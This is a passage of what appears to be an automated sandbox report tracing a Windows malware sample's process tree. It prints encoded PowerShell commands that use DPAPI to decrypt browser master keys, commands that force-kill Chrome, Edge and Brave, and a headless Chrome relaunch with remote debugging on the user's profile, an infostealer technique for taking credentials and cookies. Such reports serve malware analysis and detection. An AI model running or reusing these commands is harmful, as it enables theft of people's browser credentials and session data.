ABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                                                                                                                            3⤵
                                                                                                                              PID:3416
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBxAGMAUgBQAHcAUABQAEgAYQB2AHMASABsAHcAcgBjAFcAWAA2AHcAKwBpAHkAbQBoAEUAbwBNAHcAWQBSAEgAbgBpAGQAcQBNAEUAQwBJAFQAYwAwAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAG8AWABKAG8AZABiADgAUgBFAEsAYwB5AHIANwBRAGsAbwBCAGkAOQBlAE8AdQBBAGIAZgBVAFQANABhAG0AeABpAE8AWgBtAHMAZgAxAGkAdwA1AEIAUQBBAFEAQQBBAHMAbQB4ACsARABHAHMAQgBuAEEANQBwAEMAdwBwADMASAAzADYAWgB2AHUAWQBDAHUAMwBmAGgAWQArADMAcwBGADYAUwA1AG8ASwB0AHgAVAA2ADUATABVADIAZABQAE0AdQBFAG8AYgBzAHAALwBpAEIAaABVAEEAMAAzAHMAVABqAHcATwB1AEgAVwBKADkAYwAvAG0AaQA0AEkAbQB6AEcAdAAxAEsAUgBnAGsAbgBuAE0AaABUAHUAZQB6AFcAbQBjAEsAZgBCAEEAbQA5AEwATQBrAGwAQQA5AGcAdQBUADcAdQBYAC8AOQBPAGIAdwBWAHoAOQBEAGMAMQBGAG0AVgBSADEANAAzAGwAcgA5AEcANAB6AFQATQBhADUARwA4AHEAVQBtAGUAUwBpAEsARgBmAFEAcwBHAG8AKwBxAGwATQBjAE8AYgAwAFoAUABIADUAQgBJAHMAagArAC8AegBJAHQAVQBPAGQASABXAHYAdQB4AHAAZABhADYAZABxADkAYgBuAGIASgBhAEwAOQBaACsAQwB6ADQAeAA4AGEANwBZADIAMwBVAHMAQQBhAGkASABNAFMAQQB4AFkASQBHADYAYwBiAGwARQB5AGoAcQBmAEMAdABOAEoAKwBiAG8AQQBIAE4AVABRAC8AUgBvAE8ANgBuAGIAUwBQAGsAcgBDAE0AcwA1AE0ASgBkAGEAWQBvADcAcAByAEgAdgB0AEwANgA0AGoAawBhAFgAYQBCADAASgBCAEwAZQB4AEMAagBjAFkAMABhAGUANwBOADIAOAByAG0AdgAvADcAZAB0AHAAaABiAEQAegBnAEgAQwBYAFkATQBHADgAUgBkADQAdgBiAHIANQB4AFQAbABiAEQANQBBAHYAagAzAEkAcwA5AHIAMQBnAFUAKwBkAFcAdwBWAEEARABBAHMASQBTAFoAdgBYAEUAQQB6ADYAVABhAGYAVgAyAEIATgBGACsATAB1AHUAYQBYAGEASABFAFEAZAA4AGUAawAzAGYAQQBJAFYAcABWAHcAawBsAEQANgBWAGEAUwB2ADEANQBQAE4AVwAyAG8AdQBYAG4AdgB3AHMAUQBNAHoAOQB5AFIAUABXAE4AMQBYAHUARAByAFIAQQBWAFMALwBhAGoAeABCAGQAZAAvAFgASABkAEgAWQA1AFAAUQBBAEEAQQBBAEgAQwBjAHUAegBUAEQAeABpAHcAUgBLAGYAeAAzADgASwB0AGEAVQBKAFAAbABOAG4AQgBXADgAcABXAHIAVgB0ADUAMgBnAEsANwBkAFkAUQB2AEMAdABuADYASgB0ACsAZgB1AFkATABuAEEAWQAyAHQALwBJAE0ATgA4AGkAQgBTAEQATABWAFEAbgBUAHkAbAB6AHIAYQBOAHUARQBKAHEAWQBDADYAcwA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
                                                                                                                            2⤵
                                                                                                                              PID:4160
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBxAGMAUgBQAHcAUABQAEgAYQB2AHMASABsAHcAcgBjAFcAWAA2AHcAKwBpAHkAbQBoAEUAbwBNAHcAWQBSAEgAbgBpAGQAcQBNAEUAQwBJAFQAYwAwAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAG8AWABKAG8AZABiADgAUgBFAEsAYwB5AHIANwBRAGsAbwBCAGkAOQBlAE8AdQBBAGIAZgBVAFQANABhAG0AeABpAE8AWgBtAHMAZgAxAGkAdwA1AEIAUQBBAFEAQQBBAHMAbQB4ACsARABHAHMAQgBuAEEANQBwAEMAdwBwADMASAAzADYAWgB2AHUAWQBDAHUAMwBmAGgAWQArADMAcwBGADYAUwA1AG8ASwB0AHgAVAA2ADUATABVADIAZABQAE0AdQBFAG8AYgBzAHAALwBpAEIAaABVAEEAMAAzAHMAVABqAHcATwB1AEgAVwBKADkAYwAvAG0AaQA0AEkAbQB6AEcAdAAxAEsAUgBnAGsAbgBuAE0AaABUAHUAZQB6AFcAbQBjAEsAZgBCAEEAbQA5AEwATQBrAGwAQQA5AGcAdQBUADcAdQBYAC8AOQBPAGIAdwBWAHoAOQBEAGMAMQBGAG0AVgBSADEANAAzAGwAcgA5AEcANAB6AFQATQBhADUARwA4AHEAVQBtAGUAUwBpAEsARgBmAFEAcwBHAG8AKwBxAGwATQBjAE8AYgAwAFoAUABIADUAQgBJAHMAagArAC8AegBJAHQAVQBPAGQASABXAHYAdQB4AHAAZABhADYAZABxADkAYgBuAGIASgBhAEwAOQBaACsAQwB6ADQAeAA4AGEANwBZADIAMwBVAHMAQQBhAGkASABNAFMAQQB4AFkASQBHADYAYwBiAGwARQB5AGoAcQBmAEMAdABOAEoAKwBiAG8AQQBIAE4AVABRAC8AUgBvAE8ANgBuAGIAUwBQAGsAcgBDAE0AcwA1AE0ASgBkAGEAWQBvADcAcAByAEgAdgB0AEwANgA0AGoAawBhAFgAYQBCADAASgBCAEwAZQB4AEMAagBjAFkAMABhAGUANwBOADIAOAByAG0AdgAvADcAZAB0AHAAaABiAEQAegBnAEgAQwBYAFkATQBHADgAUgBkADQAdgBiAHIANQB4AFQAbABiAEQANQBBAHYAagAzAEkAcwA5AHIAMQBnAFUAKwBkAFcAdwBWAEEARABBAHMASQBTAFoAdgBYAEUAQQB6ADYAVABhAGYAVgAyAEIATgBGACsATAB1AHUAYQBYAGEASABFAFEAZAA4AGUAawAzAGYAQQBJAFYAcABWAHcAawBsAEQANgBWAGEAUwB2ADEANQBQAE4AVwAyAG8AdQBYAG4AdgB3AHMAUQBNAHoAOQB5AFIAUABXAE4AMQBYAHUARAByAFIAQQBWAFMALwBhAGoAeABCAGQAZAAvAFgASABkAEgAWQA1AFAAUQBBAEEAQQBBAEgAQwBjAHUAegBUAEQAeABpAHcAUgBLAGYAeAAzADgASwB0AGEAVQBKAFAAbABOAG4AQgBXADgAcABXAHIAVgB0ADUAMgBnAEsANwBkAFkAUQB2AEMAdABuADYASgB0ACsAZgB1AFkATABuAEEAWQAyAHQALwBJAE0ATgA4AGkAQgBTAEQATABWAFEAbgBUAHkAbAB6AHIAYQBOAHUARQBKAHEAWQBDADYAcwA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
                                                                                                                                3⤵
                                                                                                                                  PID:244
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                                                                                                                                2⤵
                                                                                                                                  PID:1852
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                                                                                                                                    3⤵
                                                                                                                                      PID:4480
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                                                                                                                                    2⤵
                                                                                                                                      PID:6064
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBHAE0AUQA2ADYAYgA4AFoAWQBFAFoAZABYADEATgBMAEUANQAwADAAMgA5AFUAVABtAE4ASgBXAFkAdQBxAGYAQQBJAHcAdABxAEUANQBIAFgATQBFAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAFAAZABOAGwAYQBYAE8ASgBMAEsAdgBoAGQAVgB5AEwAMgBvAGIAWQB1AEIAcQA5AHoAQQBBAEQAagBsAFYAcABmAGcATQB2AGIAMgBGAC8AZgBNAE0AdwBBAEEAQQBBAEIAZQB3AHAANwBHAEwALwBoAFMAcABQAHIAZQBtAFAAbgBpAEsASABsAE0AOAA3AEsAcQBSAFQAUQBOAGYANwBhAFQAegBuAEYALwBCAEoAcABpAGcAMwB1AEQANQA4AGsASgBiAEMAYQBxAEYAdQBHAEQANwAyAG8ANAByAHEAUQBBAEEAQQBBAEcAMgBLAEkAcQBuAEoAQgAyAHgAOABkAHoAMAArAFYANABUAFQAVQB4AEIATwAyADcARgBrAHEAVABNAGIAVABTADEAcgAxAFYAYQBpAGQAagBuAGIATQBQADAARQBrAEsAUQBEAGMARgBwAHIAZQBVAG0ANABYAHcAcgBGAFcANgA4AG8AOAAvAHUASgBGAHMAcABqAFIAYgBQAFgAVwBlAE0ASQB2AFgAUQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                                                                                                                                        3⤵
                                                                                                                                          PID:6332
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                                                                                                                                        2⤵
                                                                                                                                          PID:5164
                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                            3⤵
                                                                                                                                              PID:5340
                                                                                                                                            • C:\Windows\System32\taskkill.exe
                                                                                                                                              taskkill /F /IM chrome.exe
                                                                                                                                              3⤵
                                                                                                                                              • Kills process with taskkill
                                                                                                                                              PID:6552
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                                                                                                                            2⤵
                                                                                                                                              PID:6588
                                                                                                                                              • C:\Windows\System32\taskkill.exe
                                                                                                                                                taskkill /F /IM msedge.exe
                                                                                                                                                3⤵
                                                                                                                                                • Kills process with taskkill
                                                                                                                                                PID:1992
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe 2>nul"
                                                                                                                                              2⤵
                                                                                                                                                PID:5856
                                                                                                                                                • C:\Windows\System32\taskkill.exe
                                                                                                                                                  taskkill /F /IM brave.exe
                                                                                                                                                  3⤵
                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                  PID:3792
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9939 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                                                                                                                                                2⤵
                                                                                                                                                • Uses browser remote debugging
                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                • Modifies data under HKEY_USERS
